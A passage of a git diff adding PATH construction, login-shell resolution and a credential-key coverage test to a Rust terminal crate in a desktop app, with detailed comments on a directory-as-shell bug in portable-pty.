RESERVED_ENV_KEYS"); + for key in declared { + assert!( + SECRET_KEYS.contains(&key), + "{key} is a credential in RESERVED_ENV_KEYS but is not covered by \ + this crate's SECRET_KEYS; add it here" + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lib.rs b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs index 656d23d3f..b45324342 100644 --- a/desktop/src-tauri/crates/buzz-terminal/src/lib.rs +++ b/desktop/src-tauri/crates/buzz-terminal/src/lib.rs @@ -5,11 +5,20 @@ //! child process, or the transport — those are the embedder's, so this crate //! stays testable against byte fixtures with no process and no window. +pub mod context; pub mod damage; +pub mod env_fence; pub mod fences; pub mod listener; +pub mod path; pub mod reader; pub mod shared; +pub mod shell; + +#[cfg(test)] +mod context_tests; +#[cfg(test)] +mod env_fence_tests; use alacritty_terminal::grid::Dimensions; use alacritty_terminal::term::{Config, Osc52, Term}; diff --git a/desktop/src-tauri/crates/buzz-terminal/src/path.rs b/desktop/src-tauri/crates/buzz-terminal/src/path.rs new file mode 100644 index 000000000..94b77ce71 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/path.rs @@ -0,0 +1,46 @@ +//! `PATH` derivation for spawned PTY children. +//! +//! Buzz's own process runs under Hermit activation, so its `PATH` leads with +//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim +//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's +//! pinned build toolchain rather than the ones they installed. That is a +//! product defect, not merely untidy: `⌘J` then `cargo --version` should +//! answer for the user's machine, not for Buzz's build. +//! +//! The abandoned `feat/terminal` branch tried to solve this by subtracting +//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The +//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV` +//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads +//! those same keys at `:505-506` to learn what to strip. With both keys +//! already gone the roots list is empty and the function returns early, +//! leaving the hermit entries in place. Verified by reproduction: in that +//! order the child's `PATH` is unchanged; reversed, the hermit entries are +//! removed. A subtractive fence depends on evidence of what to subtract, and +//! that evidence is exactly what the preceding cleanup destroys. +//! +//! So `PATH` is *constructed*, not filtered. The child gets the platform's +//! standard user path, which is what a login shell would have produced had +//! Buzz never been in the picture. + +/// The default user `PATH` for a spawned shell. +/// +/// This intentionally does not consult Buzz's own `PATH`. A login shell reads +/// the user's rc files, which prepend their own entries (homebrew, asdf, mise, +/// `~/.local/bin`); starting from the platform default lets that happen +/// normally instead of layering it on top of Buzz's build toolchain. +#[cfg(unix)] +pub fn user_shell_path() -> String { + // Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system + // binaries only. `/usr/local/bin` is included because it is the + // conventional prefix on both macOS and Linux for user-installed tools + // that rc files expect to already be present. + "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string() +} + +#[cfg(windows)] +pub fn user_shell_path() -> String { + // On Windows the system directories are derived from the environment + // rather than fixed, and `cmd.exe`/PowerShell resolution depends on them. + let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string()); + format!(r"{root}\system32;{root};{root}\system32\Wbem") +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/shell.rs b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs new file mode 100644 index 000000000..e09dcacc3 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs @@ -0,0 +1,132 @@ +//! Login-shell resolution for spawned PTY children. +//! +//! Tyler asked for the user's shell of choice, so the resolution order is the +//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters +//! is the *validity* test applied at each step, and it is not "the path +//! exists". +//! +//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553` +//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute +//! this" for *any* file type, and a directory carries the execute bit to mean +//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C +//! repro and end-to-end through a real PTY: with `SHELL=/tmp`, +//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns +//! `Ok`, and the child dies with exit code 1 after printing +//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`. +//! The user gets a terminal that opens and instantly dies with a Rust runtime +//! panic, and every layer above reported success. +//! +//! So we require an **executable regular file**, following symlinks: `stat` +//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink +//! on many systems. A directory or a non-executable file falls through to the +//! next candidate instead of becoming an unspawnable child. + +use std::path::Path; + +/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable +/// the machine has bigger problems than our terminal. +pub const FALLBACK_SHELL: &str = "/bin/sh"; + +/// Returns true if `path` is a regular file this process may execute. +/// +/// The conjunction is load-bearing and neither half suffices: +/// +/// - `access(X_OK)` alone accepts a **directory** — the execute bit means +/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug +/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with +/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every +/// layer reports success. +/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute. +/// The bits say *some* class has execute permission, not the applicable +/// one, and they do not evaluate ACLs. Verified with a self-owned regular +/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and +/// running it gives `Permission denied`. +/// +/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash` +/// is legitimate) **and** effective executability via `access(X_OK)`. +#[cfg(unix)] +pub fn is_executable_file(path: &Path) -> bool { + let Ok(meta) = std::fs::metadata(path) else { + return false; + }; + meta.is_file() && can_execute(path) +} + +/// `access(path, X_OK)`: does the *effective* user have execute permission, +/// accounting for the applicable permission class and ACLs? +#[cfg(unix)] +fn can_execute(path: &Path) -> bool { + use std::os::unix::ffi::OsStrExt; + + let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else { + return false; // interior NUL: not a path we can ask about + }; + // SAFETY: `c_path` is a valid NUL-terminated C string for the duration of + // the call, and `access` only reads it. + unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 } +} + +/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then +/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`]. +/// +/// `shell_env` is the caller's view of `$SHELL` so the resolution order is +/// testable without mutating process-global state; production passes +/// `std::env::var_os("SHELL")`. +#[cfg(unix)] +pub fn resolve_shell(shell_env: Option<&str>) -> String { + // One validation path for every candidate, deliberately. Validating each + // branch separately leaves the passwd branch's check untestable on any + // machine whose passwd shell happens to be valid — a mutant that deletes + // it survives because nothing can distinguish it. Sharing `validated` + // means the `$SHELL` arm's coverage is the passwd arm's coverage. + let candidates = [shell_env.map(str::to_owned), passwd_shell()]; + candidates + .into_iter() + .flatten() + .find(|candidate| validated(candidate)) + .unwrap_or_else(|| FALLBACK_SHELL.to_owned()) +} + +/// The single validity test every shell candidate must pass. +#[cfg(unix)] +fn validated(candidate: &str) -> bool { + is_executable_file(Path::new(candidate)) +} + +/// The current user's login shell from the passwd database, unvalidated: +/// `resolve_shell` applies the shared [`validated`] check to it. +/// +/// This is the step that matters for a Finder- or launchd-started app, which +/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh` +/// and call it their shell of choice. +#[cfg(unix)] +pub(crate) fn passwd_shell() -> Option { + // SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by + // libc, valid until the next passwd-database call. We copy the string out + // before returning and make no other libc calls in between. + let shell = unsafe { + let ent = libc::getpwuid(libc::getuid()); + if ent.is_null() { + return None; + } + let pw_shell = (*ent).pw_shell; + if pw_shell.is_null() { + return None; + } + std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned() + }; + + Some(shell) +} + +/// The login-shell `argv[0]` convention: the shell's basename prefixed with +/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as +/// a login shell, without sniffing its name or guessing its flag grammar. +/// +/// `portable-pty` applies this itself for a default program +/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted +/// against a value we own rather than against the dependency's behaviour. +pub fn login_argv0(shell: &str) -> String { + let basename = shell.rsplit('/').next().unwrap_or(shell); + format!("-{basename}") +}